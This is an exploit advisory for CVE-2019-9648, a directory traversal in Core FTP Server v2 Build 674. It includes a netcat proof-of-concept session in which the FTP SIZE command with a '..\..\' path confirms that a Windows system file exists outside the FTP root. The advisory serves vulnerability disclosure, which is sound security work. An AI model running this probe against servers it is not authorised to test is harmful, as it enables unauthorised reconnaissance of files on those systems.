Core FTP Server FTP / SFTP Server v2 Build 674 - 'SIZE' Directory Traversal

2019-03-13 16:05:11

# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 SIZE Directory Traversal
# Google Dork: N/A
# Date: 3/13/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9648

*Vendor has confirmed vulnerability and implemented an updated version*

Summary: By utilizing a directory traversal along with the FTP SIZE command, an attacker can browse outside the root directory to determine if a file exists based on return file size by using a ..\..\ technique
Tools used:
Parrot OS VM
Windows 7 VM
FTP / SFTP Server v2 - Build 674
Netcat

Proof of Concept (PoC):

File 1: ARP.exe
Type of file: Application(.EXE)
Description: TCP/IP Arp Command
Location: C:\Windows\System32\
Size: 20.5 KB (20,992 bytes)
Size on disk: 24.0 KB (24,576 bytes)
Created: Monday July 13, 2009 7:55:11 PM
Modified: Monday July 13, 2009, 9:14:12 PM
Accessed: Monday July 13, 2009 7:55:11 PM

#nc -nv 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago Unregistered
USER anonymous
331 password required for anonymous
PASS anonymous@
230-Logged on
230
SIZE C:\..\..\..\..\..\..\Windows\System32\ARP.exe
213 20992

Fixes

No fixes

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